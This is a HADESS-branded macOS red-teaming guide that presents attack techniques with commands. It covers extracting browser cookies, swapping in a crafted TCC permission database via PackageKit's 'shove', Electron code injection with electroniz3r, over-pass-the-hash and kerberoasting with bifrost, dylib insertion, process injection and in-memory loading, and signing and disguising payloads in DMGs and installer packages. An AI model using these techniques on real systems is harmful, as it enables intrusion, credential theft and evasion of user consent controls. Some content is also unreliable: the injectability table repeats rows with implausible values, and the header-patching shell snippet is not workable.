MACOS RED TEAMING

HADESS

WWW.HADESS.IO

SOMETIMES I SAY I LAMENT FROM MY TROUBLED STATE,
OTHER TIMES I SAY IT'S EVIDENT, WHAT NEED IS THERE FOR EXPLANATION

SAADI SHIRAZI

TABLE OF CONTENT

macOS Red Teaming

macOS red teaming involves simulating cyber-attacks on macOS environments to identify vulnerabilities, assess security posture, and improve defensive measures. This process encompasses a wide array of techniques, tools, and methodologies aimed at mimicking the tactics, techniques, and procedures (TTPs) of real-world adversaries. Key elements include reconnaissance, where information about the target system is gathered; exploitation, where identified vulnerabilities are used to gain access; persistence, where mechanisms are established to maintain access; and exfiltration, where sensitive data is transferred out of the target environment. Tools such as Empire, Metasploit, and custom scripts are often employed, and a thorough understanding of macOS internals, including file system structure, process management, and security mechanisms, is crucial for effective red teaming.

The primary goal of macOS red teaming is to evaluate and enhance the security readiness of an organization. By simulating attacks, security teams can identify weaknesses that might be overlooked during regular audits and assessments. This proactive approach helps in strengthening defensive strategies, implementing effective incident response plans, and ensuring compliance with security standards. Moreover, macOS red teaming helps in understanding how an attacker might exploit macOS-specific features and vulnerabilities, thus aiding in the development of tailored mitigation strategies. Continuous learning and adapting to the evolving threat landscape are essential components, making red teaming an iterative and dynamic process.

Gathering System Information Using IOPlatformExpertDevice

In macOS, red team operators often need to gather detailed system information for reconnaissance purposes. One powerful command-line utility is `ioreg`, which interacts with the I/O Kit registry to retrieve detailed hardware and device information. By querying the `IOPlatformExpertDevice` class, an operator can gather specific system details such as the model, serial number, and other platform-specific information.

The `ioreg` command allows interaction with the I/O Kit registry, and the `-c` flag specifies the class of devices to list. The `IOPlatformExpertDevice` class provides information about the platform expert, which includes various system attributes. The `-d` flag specifies the depth of the search within the device tree.

```
ioreg -c IOPlatformExpertDevice -d 2
```

Detailed Explanation

* `ioreg`: The command-line utility for accessing the I/O Kit registry.
* `-c IOPlatformExpertDevice`: Specifies the device class to filter for, in this case, `IOPlatformExpertDevice`, which includes information about the system's hardware.
* `-d 2`: Specifies the depth of the search. A depth of 2 ensures that the command retrieves detailed information about the devices and their children up to two levels deep.

Example Output

When executed, the command outputs a detailed tree of properties related to the `IOPlatformExpertDevice`. This includes critical information such as:

* IOPlatformUUID: A unique identifier for the system.
* model: The hardware model of the device.
* serial-number: The serial number of the Mac.
* IOPlatformSerialNumber: Another identifier often used for hardware validation.

Example output snippet:

```
+-o IOPlatformExpertDevice  <class IOPlatformExpertDevice, id
0x100000000, registered, matched, active, busy 0 (0 ms),
retain 10>
{
  "IOPlatformUUID" = "12345678-1234-1234-1234-1234567890AB"
  "model" = <"MacBookPro15,1">
  "serial-number" = <"C02XXXXXXXD1">
  "IOPlatformSerialNumber" = "C02XXXXXXXD1"
  ...
}
```

Targeting Browser and Diagnostic Logs

For red team operators, extracting sensitive information from web browsers and analyzing system logs can provide valuable insights into user activity and potential vulnerabilities. This technique involves accessing and leveraging browser cookies and diagnostic reports on a macOS system. Here, we'll focus on three popular web browsers—Google Chrome, Mozilla Firefox, and Safari—as well as system diagnostic reports.

Extracting Browser Cookies

1. Google Chrome Cookies:

Chrome stores its cookies in an SQLite database located in the user's application support directory. The path to the cookies database is:

```
~/Library/Application Support/Google/Chrome/Default/Cookies
```

To access and read the cookies database, you can use the `sqlite3` command-line tool:

```
sqlite3 ~/Library/Application
Support/Google/Chrome/Default/Cookies "SELECT host_key, name,
encrypted_value FROM cookies"
```

Firefox Cookies:

Firefox stores its cookies in a SQLite database located in the user's profiles directory. The typical path to the cookies database is:

```
~/Library/Application
Support/Firefox/Profiles/*.default/cookies.sqlite
```

Safari Cookies:

Safari stores cookies in local storage files located in the user's Safari directory:

```
~/Library/Safari/LocalStorage/*
```

To read these files, you may need to use a tool or script that can parse the local storage format.

Accessing Diagnostic Reports

System diagnostic reports can contain valuable information about application crashes and system issues. For Google Chrome, these reports are stored in:

```
/Library/Logs/DiagnosticReports/Google Chrome Helper
```

To list the diagnostic reports, use the `ls` command:

```
ls /Library/Logs/DiagnosticReports/Google\ Chrome\ Helper
```

To read a specific report, use `cat` or `less`:

```
cat /Library/Logs/DiagnosticReports/Google\ Chrome\
Helper/some_report.crash
```

Manipulating the TCC Database Using PackageKit

In macOS, the Transparency, Consent, and Control (TCC) database is a critical security feature that manages application permissions for accessing privacy-sensitive data such as the camera, microphone, location services, and more. Red team operators may target the TCC database to manipulate these permissions, allowing unauthorized access to sensitive resources. One method involves using the `shove` utility from the PackageKit framework to replace the TCC database with a crafted version.

The `shove` utility can be used to copy files with specific flags that may bypass some of the usual system protections. This can be leveraged to replace the TCC database with a custom-crafted database that grants desired permissions to specific applications.

```
/System/Library/PrivateFrameworks/PackageKit.framework/Versions
/A/Resources/shove -X /tmp/crafted.db /Library/Application\
Support/com.apple.TCC/TCC.db
```

Detailed Explanation

* **shove**: A utility found within the PackageKit framework used for copying files. It has certain capabilities that can be misused for privilege escalation or bypassing some system restrictions.
* **-X**: A flag for `shove` that allows it to copy extended attributes and possibly bypass certain protections.
* **/tmp/crafted.db**: The source path where the custom-crafted TCC database is stored. This database must be prepared beforehand, with the desired permissions set.
* **/Library/Application Support/com.apple.TCC/TCC.db**: The destination path of the TCC database. This is the actual TCC database that the system uses to manage permissions.

Steps to Craft and Deploy a Malicious TCC Database:

1. Prepare the Crafted TCC Database:

    * Create or modify a SQLite database (`crafted.db`) with the desired permissions. Tools such as `sqlite3` can be used for this purpose.

    * Example SQLite commands to modify permissions:

```
sqlite3 /tmp/crafted.db "INSERT INTO access
VALUES('kTCCServiceMicrophone','com.example.app',0,1,1,NULL,NUL
L,NULL,'UNUSED',NULL,0,1541440109);"
```

Deploy the Crafted TCC Database:

* Use the `shove` command to replace the system TCC database with the crafted version:

```
/System/Library/PrivateFrameworks/PackageKit.framework/Versions
/A/Resources/shove -X /tmp/crafted.db /Library/Application\
Support/com.apple.TCC/TCC.db
```

Leveraging Application Bundles and User-Specific Data

macOS applications have a distinct structure and organization that can be exploited for various red team operations. Understanding how applications are bundled and where they store user-specific data can provide red team operators with valuable entry points for reconnaissance, persistence, and data exfiltration. This technique involves exploring the `/Applications` directory, examining `.app` bundles, and targeting user-specific application data stored in `~/Library/Application Support/`.

Exploring Application Bundles

Applications on macOS are stored in the `/Applications` directory. Each application is bundled as a `.app` file, which is actually a directory with a specific layout. Key components of an application bundle include:

1. **Info.plist**: This file contains application-specific configuration, entitlements, tasks, and metadata.
2. **MacOS**: This directory contains the Mach-O executable.
3. **Resources**: This directory includes icons, fonts, and images used by the application.

You can use standard UNIX commands to explore these bundles:

```
# List applications in the /Applications directory
ls /Applications

# Explore the contents of a specific application bundle
cd /Applications/ExampleApp.app
ls -R
```

Accessing User-Specific Application Data

Applications installed for all users need to store user-specific data somewhere, typically in the `~/Library/Application Support/` directory. This directory contains application-specific folders with configurations, cached data, credentials, and other user-specific information.

```
# List directories in ~/Library/Application Support/
ls ~/Library/Application\ Support/

# Explore a specific application's support folder
cd ~/Library/Application\ Support/ExampleApp
ls -R
```

Detailed Explanation

* **Application Bundles**: By exploring application bundles, red team operators can gain insights into the application's configuration and resources. The `Info.plist` file can reveal valuable information about the application's entitlements and tasks.
* **User-Specific Data**: The `~/Library/Application Support/` directory stores crucial data that can be exploited. This data is not protected by the Transparency, Consent, and Control (TCC) framework, making it an easier target.

Info.plist Exploration

The `Info.plist` file is a property list file that contains configuration data for the application. It can be viewed using the `defaults` command:

```
# Read the contents of Info.plist
defaults read /Applications/ExampleApp.app/Contents/Info.plist
```

Taking Over Electron App TCC Permissions with electroniz3r

Electron apps are popular cross-platform applications that combine web technologies with a native shell. Due to their nature, they can sometimes have security vulnerabilities that allow for code injection. The tool `electroniz3r` is specifically designed to exploit these vulnerabilities, enabling red team operators to take over TCC (Transparency, Consent, and Control) permissions of Electron apps on macOS. This technique was presented at DEFCON31 by Wojciech Reguła (@*r3ggi) and provides a powerful method for red team operations.*

Tool Overview

```
$ electroniz3r
OVERVIEW: macOS Red Teaming tool that allows code injection in
Electron apps
 by Wojciech Reguła (@_r3ggi)

USAGE: electroniz3r <subcommand>

OPTIONS:
  -h, --help              Show help information.

SUBCOMMANDS:
  list-apps               List all installed Electron apps
  inject                  Inject code to a vulnerable Electron
app
  verify                  Verify if an Electron app is
vulnerable to code injection

  See 'electroniz3r help <subcommand>' for detailed help.
```

Injecting Code

To inject code into a vulnerable Electron app, use the `inject` subcommand. You can either provide a path to a JavaScript file or use predefined scripts.

```
$ electroniz3r help inject
OVERVIEW: Inject code to a vulnerable Electron app

USAGE: electroniz3r inject <path> [--path-js <path-js>] [--
predefined-script <predefined-script>]

ARGUMENTS:
  <path>                  Path to the Electron app

OPTIONS:
  --path-js <path-js>     Path to a file containing JavaScript
code to be executed
  --predefined-script <predefined-script>
                          Use predefined JS scripts (calc,
screenshot, stealAddressBook, bindShell, takeSelfie)
  -h, --help              Show help information.
```

Example of injecting a predefined script to take a screenshot:

```
$ electroniz3r inject "/Applications/Slack.app" --predefined-
script screenshot
```

Example of injecting custom JavaScript:

```
$ electroniz3r inject "/Applications/Slack.app" --path-js
/path/to/custom/script.js
```

Exploiting Keychain Access

The macOS Keychain is a critical component for storing sensitive information such as passwords, certificates, encryption keys, and secure notes. Understanding how to access and manipulate the Keychain can be a powerful technique in a red team operator's toolkit. This guide explores how to interact with the Keychain, leveraging command-line tools to extract and manipulate stored secrets.

Keychain Basics

* User Keychain: Stores user passwords (web, secure notes, etc.), public/private keys (iMessage, iCloud, etc.), and certificates. Located at:

```
~/Library/Keychains/login.keychain-db
```

System Keychain: Stores system-wide passwords (Wi-Fi), root certificates, domain information (if joined to AD), and local Kerberos information. Located at:

```
/Library/Keychains/System.keychain
```

* Access to this requires root privileges.

Accessing the Keychain with `security` CLI

The `security` command-line tool is a native macOS utility for interacting with the Keychain. It provides various subcommands for listing, dumping, and managing Keychain contents.

1. List Keychains:

```
security list-keychains
```

Signing Your Payload

In macOS, applications and executables are often signed and notarized to ensure their integrity and origin. Signing a payload can bypass many security warnings and make the malicious software appear legitimate. Adversaries frequently use this technique to evade detection and improve their payload delivery success rate. Here's a guide on how to sign your payload and the implications of doing so.

Key Points

* **Apple Developer Program**: Access to code signing certificates requires enrollment in the Apple Developer Program, which costs $99 annually.
* **Code Signing Certificates**: These certificates authenticate the identity of the developer and assure the system that the software is not tampered with.
* **Notarization**: An automated process by Apple that scans for malicious content and security vulnerabilities, usually completing within minutes.
* **Bypassing Security Warnings**: Properly signed and notarized payloads can avoid most security warnings, although Gatekeeper might still show an informational message.

Enrolling in the Apple Developer Program

To start signing your payloads, you need to enroll in the Apple Developer Program and obtain a code signing certificate.

1. **Enroll in the Apple Developer Program**: Visit the Apple Developer website and follow the instructions to enroll.
2. **Download Xcode**: Xcode is required for managing certificates and signing your applications. You can download it from the Mac App Store.

Creating a Code Signing Certificate

1. **Open Xcode and Create a New Project**: This will initialize Xcode and prepare it for certificate management.

```
Xcode -> Preferences -> Accounts -> Add Apple ID
```

Exploiting Installer Packages

Installer packages in macOS provide a structured method to distribute software. These packages can contain payloads, scripts, and configuration files that run with elevated privileges during installation. By manipulating these components, red team operators can create packages that execute malicious code during the installation process.

* Installer Package Structure: Consists of a root payload directory and a scripts directory.
    * `pkgroot/root/Applications/` : Mirrors the intended installation location.
    * `pkgroot/scripts/` : Contains pre-install and post-install scripts.
* Execution Opportunities: Several points during the installation process allow for code execution.
    * Pre-install/Post-install Scripts: Written in bash, can include commands to download and execute payloads.
    * Distribution XML: Contains JavaScript code with limited native API access but can execute shell commands.
    * Installer Plugins: Provides access to native API functions using Objective-C or Swift, executed with elevated privileges.
* Creating Installer Packages: Use `pkgbuild` and `productbuild` command-line tools.

Creating the Installer Package

1. Prepare the Package Directory Structure:
    * Create the root directory structure that mirrors the intended installation location.
    * Add the scripts directory for pre-install and post-install scripts.

```
mkdir -p pkgroot/root/Applications/MyApp
mkdir -p pkgroot/scripts
```

Exploiting DMG Files for Distribution

Disk Image files (DMG) are commonly used in macOS for archiving and distributing applications. They offer the advantage of compressing large files and facilitating easy delivery over the internet. Red team operators can leverage DMG files to distribute malicious payloads disguised as legitimate applications. This guide outlines the process of creating a DMG file for application distribution and demonstrates how to hide malicious content within it.

* **Creating the DMG Folder**: Preparation involves creating a background image and a folder structure for the distribution.
* **Preparing the Payload**: Malicious content, such as malware or backdoors, is placed within the DMG file alongside legitimate applications.
* **Concealing Malicious Content**: Techniques like hiding folders from the GUI and customizing the appearance of the DMG help conceal malicious elements.
* **Converting to Compressed DMG**: The final step involves converting the DMG file to a read-only compressed format suitable for distribution.

Creating the DMG Folder

1. **Create a Background Image**: Design a background image with visual aids to assist users during installation.
2. **Open Disk Utility**: Launch Disk Utility.
3. **Create a New Disk Image**:
    * Click on `File` > `New Image` > `Blank Image`.
    * Choose desired size and leave other settings as default.
4. **Mount the Disk Image**: Double-click the created DMG file to mount it.
5. **Create a Background Folder**: Inside the mounted volume, create a folder named `.background`.
6. **Save Background Image**: Save the background image within the `.background` folder.
7. **Hide the Background Folder**: Open Terminal and run the following command:

```
cd /Volumes/InstallDMG/
mv background .background
```

Leveraging HealthInspector Utility

HealthInspector is a JavaScript for Automation (JXA) utility designed for macOS, facilitating the retrieval of preference files and informative data on disk via Objective-C API calls. This tool provides valuable insights into user behavior, system configurations, and potential avenues for exploitation. By analyzing various preference files, HealthInspector enables red team operators to gather critical information for reconnaissance and planning malicious activities.

* Utility Overview: HealthInspector is a versatile tool available on GitHub, allowing red team operators to extract valuable information from macOS systems.
* Usage: HealthInspector can be executed from the command line using `osascript` or integrated with Mythic's apfell agent for streamlined operation.
* Functionality: The tool offers several functions to retrieve data from different preference files, including persistent dock apps, Finder preferences, launch services, user launch agents, installed software versions, recent files, firewall settings, OS version, SMB server details, and network connectivity.
* Insights: By analyzing preference files, red team operators gain insights into user behavior, application usage patterns, system configurations, and potential vulnerabilities.
* Practical Applications: HealthInspector assists in reconnaissance, identifying persistence opportunities, understanding system configurations, and assessing the security posture of macOS systems.

Commands and Usage

```
# Clone HealthInspector repository
git clone https://github.com/its-a-feature/HealthInspector.git

# Execute HealthInspector from the command line
osascript HealthInspector.js

# Upload HealthInspector to Mythic's apfell agent
jsimport HealthInspector.js

# Call specific functions in Mythic's apfell agent
jsimport_call Persistent_Dock_Apps();
jsimport_call Finder_Preferences();
jsimport_call Launch_Services();
jsimport_call User_Launchagents();
jsimport_call Installed_Software_Versions();
jsimport_call Recent_Files();
jsimport_call Firewall();
jsimport_call OS_Version();
jsimport_call SMB_Server();
jsimport_call Network_Connectivity();
```

* Functionality: HealthInspector provides functions to extract various types of information from macOS systems, including application preferences, system configurations, network details, and recent activity logs.
* Preference Files: By reading preference files, HealthInspector retrieves information about Dock applications, Finder preferences, launch services, installed software versions, recent files, firewall settings, OS version, SMB server details, and network connectivity.
* Insights: The extracted data offers insights into user behavior, system usage patterns, and potential security vulnerabilities.
* Integration: HealthInspector can be integrated with Mythic's apfell agent for centralized management and execution of commands across multiple systems.

Generating Shared Secrets and Accessing Computer$ Password

In macOS red team operations, generating shared secrets and accessing sensitive information such as computer$ passwords are crucial for privilege escalation and lateral movement. This guide explores techniques and commands for generating shared secrets and accessing computer$ passwords on macOS systems.

Generating Shared Secrets

Shared secrets are essential for authenticating users and systems across networks. The `bifrost` utility provides a straightforward method for generating shared secrets in macOS environments.

```
bifrost --action askhash --username [name] --password [password] --domain [domain]
```

Optional: Use `--bpassword` to supply the base64-encoded password.

Accessing Computer$ Password

The computer$ password, used for network authentication, is stored securely in the SYSTEM keychain on macOS systems. Accessing this password requires elevated privileges.

Command and Usage:

To access the computer$ password, follow these steps:

1. Elevate Privileges: Gain elevated privileges on the macOS system.
2. Access SYSTEM Keychain: Navigate to the SYSTEM keychain, which stores computer$ passwords.
    * Path: `/Active Directory/[NETBIOS NAME]`

Over-Pass-The-Hash

Over-Pass-The-Hash (OPTH) is a technique used in macOS red team operations to obtain Kerberos Ticket-Granting Tickets (TGTs) using only a user's password hash. This guide explores the OPTH technique and demonstrates how to manually create Kerberos traffic to acquire TGTs on macOS systems.

OPTH Method

OPTH involves manually creating Kerberos traffic to port 88 on the Domain Controller (DC) to obtain TGTs. This process is similar to the functionality provided by tools like Rubeus. The `bifrost` utility facilitates the creation of Kerberos traffic and acquisition of TGTs on macOS systems.

```
bifrost --action asktgt --username [user] --domain [domain.com]
        --hash [hash] --enctype [enctype] --keytab
[/path/to/keytab]
```

* Admin permissions are not required; only the user's password hash or keytab file is necessary.
* The `asktgt` action requests a TGT for the specified user from the domain controller.
* The `hash` parameter specifies the user's password hash, and the `enctype` parameter defines the encryption type.
* Optionally, a keytab file can be provided instead of the hash.

Injecting Tickets and Obtaining Service Tickets

Once the TGT is obtained, it can be injected into the current session using the `bifrost` utility with the `ptt` action. Alternatively, the TGT can be passed to the `asktgs` action to acquire service tickets for remote computers.

```
bifrost --action asktgt --username test_lab_admin
        --hash
CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78
        --enctype aes256 --domain test.lab.local
```

Kerberoasting

Kerberoasting is a technique used in macOS red team operations to extract and crack Service Tickets, which are encrypted with the account's password hash. This guide explores Kerberoasting and demonstrates how to leverage tickets on macOS systems for reconnaissance and lateral movement.

Kerberoasting Method

In Kerberoasting, any authenticated account in the domain can request a Service Ticket, which grants access to various services offered by accounts in Active Directory. These tickets are encrypted with the account's password hash, allowing red team operators to guess and crack the password. The `bifrost` utility facilitates the request for Service Tickets, with options to request specific hash types for easier cracking.

```
bifrost --action asktgs --spn [service] --domain [domain.com]
        --username [user] --hash [hash] --enctype [enctype]
```

* The `asktgs` action requests a Service Ticket for the specified service (identified by Service Principal Name) from the domain controller.
* The `spn` parameter specifies the service for which the ticket is requested.
* The `hash` parameter specifies the user's password hash, and the `enctype` parameter defines the encryption type.

Leveraging Tickets on macOS

Once Service Tickets are obtained, red team operators can leverage them for reconnaissance and lateral movement on macOS systems.

* Use `smbutil` to list available shares on a remote computer.

```
smbutil view //computer.fqdn
```

Mount remote SMB shares using the `mount` command.

```
mount -t smbfs //server/folder /local/mount/point
```

Dylib Insertion

Dylib insertion involves modifying application binaries to include load commands that reference malicious dynamic libraries. These load commands, such as LC_LOAD_WEAK_DYLIB or LC_LOAD_DYLIB, specify the path to the dylib and instruct the system to load it when the application is executed. The following steps outline the process of dylib insertion:

1. Download the Application Binary: Obtain the target application's binary file (e.g., `Application.app/Contents/MacOS/application`).
2. Backdoor the Application: Inject load commands referencing the malicious dylib into the application binary.
3. Specify Dylib Path: Ensure the load command includes the full path to the malicious dylib.
4. Remove Code Signature: Remove the LC_CODE_SIGNATURE load command and associated data from the modified header to evade detection.
5. Use Tools for Modification: Utilize macOS's `otool` or open-source tools like `insert_dylib` to perform the binary modification process.

https://github.com/Tyilo/insert_dylib

Dylib Hijacking

Dylib hijacking exploits vulnerabilities in the library loading mechanism of macOS applications. Attackers leverage improper search order or attempts to load nonexistent libraries to execute malicious code. However, macOS Catalina's hardened runtime imposes restrictions on loading unsigned libraries, making dylib hijacking more challenging. Key points regarding dylib hijacking include:

* Types of Dylibs: Dylibs indicated in Mach-O Headers via LC_LOAD_* commands, where LC_LOAD_DYLIB represents required dylibs, and LC_LOAD_WEAK_DYLIB denotes optional dylibs.
* Ownership of Applications: The potential applicability of dylib hijacking depends on the ownership of the target application. Applications installed via different methods (e.g., dragged to /Applications, App Store, package installers) have varying ownership permissions.

Evasion Techniques with XPC on macOS

XPC (Cross-Process Communication) is a powerful mechanism used for inter-process communication on macOS, facilitated by Grand Central Dispatch (GCD) and launchd. It allows applications to expose capabilities via XPC services, enabling communication between different processes while maintaining security and resource isolation. However, XPC can also be leveraged for evasion and stealthy operations in a red team context.

Understanding XPC

XPC leverages GCD to manage thread execution and task parallelism efficiently. Applications utilize XPC services to expose functionalities to other processes. Traditionally, inter-process communication required obtaining Task/Mach ports to other processes, but XPC abstracts this complexity and provides a more secure communication mechanism.

1. XPoCE by Jonathan Levin: XPoCE is a tool designed to hook `xpc_dictionary_get*` functions, allowing monitoring and analysis of XPC messages as they traverse between processes. It facilitates debugging by printing messages exchanged on the wire. However, dumping XPC messages for third-party applications requires System Integrity Protection (SIP) to be disabled.

```
xpc_copy_description [xpc_message] # Converts XPC messages to human-readable strings
```

* Tracing XPC Messages: On systems with SIP disabled, one can attach to `launchd` (process ID 1) and trace XPC dictionary messages using XPoCE. Commands like `launchctl list` can be issued to observe the format and content of XPC messages.

* Alternative Tools: Jonathan Levin has extensively reverse-engineered `launchd` and `launchctl` to develop alternative tools like jlaunchctl. These tools offer insights into the internal workings of XPC and facilitate advanced operations.

```
launchctl list
```

Process Injection on macOS

Process injection is a technique used in red team operations to inject malicious code into a legitimate process, thereby evading detection and executing unauthorized actions on a target system. On macOS, process injection involves obtaining access to a target process, allocating memory within its address space, writing shellcode to the allocated memory, modifying memory protection, and executing the injected shellcode.

Process Injection Steps

1. Obtain Mach Task Port: Access the target process's Mach task port (handle) using the `task_for_pid()` function or other API functions like `processor_set_tasks()` and `pid_for_task()`. Note that `task_for_pid()` requires the `com.apple.security.cs.debugger` entitlement and is only applicable to unsigned or third-party apps.

```
task_for_pid
```

Allocate Memory: Allocate memory within the target process's address space using the `mach_vm_allocate()` API function and obtain the address to that memory space.

```
mach_vm_allocate
```

3. Write Shellcode: Write the shellcode to the allocated memory space of the target process using `mach_vm_write()`.

```
mach_vm_write
```

4. Modify Memory Protection: Modify the memory protection of the target process's memory space to be executable using `mach_vm_protect()`.

```
mach_vm_protect
```

5. **Execute Shellcode**: Execute the injected shellcode in the target process using `thread_create_running()`.

```
thread_create_running
```

Jonathan Levin has released proof-of-concept code demonstrating process injection on macOS. The provided code injects shellcode into a target process using the `dlopen` function to load a dynamic library (dylib) into the target process.

```
http://newosxbook.com/src.jl?tree=listings&file=inject.c
```

The injectability of a target application depends on various factors such as whether System Integrity Protection (SIP) and Hardened Runtime are enabled, the presence of specific entitlements, and the application's code signing status. The table below summarizes the injectability of target applications based on different scenarios:

SIP Enabled	Hardened Runtime Enabled	com.apple.security.get-task-allow	Injectability
YES	NO	NO	NO
YES	YES	YES (for 3rd party apps)	YES
YES	YES	YES (for 3rd party apps)	YES
YES	YES	YES (for 3rd party apps)	YES
NO	YES	N/A	YES

In-Memory Loading on macOS

In-memory loading is an evasion technique used by red teams on macOS to load and execute malicious code directly from memory without writing it to disk. This method allows attackers to bypass traditional security measures like file-based detection and enables the execution of arbitrary code within the context of a legitimate process.

In-Memory Loading Process

1. **NSCreateObjectFileImageFromMemory**: This function is used to create an object file image from memory. However, it typically works only for "bundles" due to the filetype check performed by macOS.

2. **Manipulating Mach-O Header**: The Mach-O header contains a `uint32_t` field that defines the filetype. By modifying this field in memory, attackers can fake out the function call and load other file types such as Dylibs, Mach-O Executables, and Bundles.

3. **Modifying Mach-O Header**: The Mach-O header field is located 12 bytes offset from the beginning of the file. Attackers overwrite the real value in memory with `0x08`, tricking macOS into loading the injected code.

4. **Execution of Arbitrary Functions**: Once the code is loaded into memory, attackers can execute any function within it, even if it's not exported. However, function names are mangled to a specific format (`__Z + len(func_name) + func_name + v`), making it essential to know the correct format for the desired function.

In-memory loading allows the execution of code written in various programming languages, including Objective-C, Swift, Golang, C, etc. This versatility enables attackers to leverage a wide range of tools and techniques for their malicious activities.

Caveats

* **Process Permissions**: The current process must allow the loaded code to execute. For example, certain binaries like `osascript` may not allow in-memory loading.

```
# Example of modifying Mach-O header to fake out
NSCreateObjectFileImageFromMemory function call
# Note: This is a simplified example for demonstration purposes

# Obtain the memory address of the Mach-O header
header_address=$(grep -aobU "\x12\x34\x56\x78"
/path/to/process_memory | awk -F: '{print $1}')

# Modify the Mach-O header to fake out the filetype check
printf '\x08' | dd of=/path/to/process_memory bs=1
seek=$(($header_address + 12)) count=1 conv=notrunc
```

Resources

* Adversary Tactics: Mac Tradecraft, Specter Ops
* pwnable.kr

cat ~/.hadess

"Hadess" is a cybersecurity company focused on safeguarding digital assets and creating a secure digital ecosystem. Our mission involves punishing hackers and fortifying clients' defenses through innovation and expert cybersecurity services.

Website:
WWW.HADESS.IO

Email
MARKETING@HADESS.IO

To be the vanguard of cybersecurity, Hadess envisions a world where digital assets are safeguarded from malicious actors. We strive to create a secure digital ecosystem, where businesses and individuals can thrive with confidence, knowing that their data is protected. Through relentless innovation and unwavering dedication, we aim to establish Hadess as a symbol of trust, resilience, and retribution in the fight against cyber threats.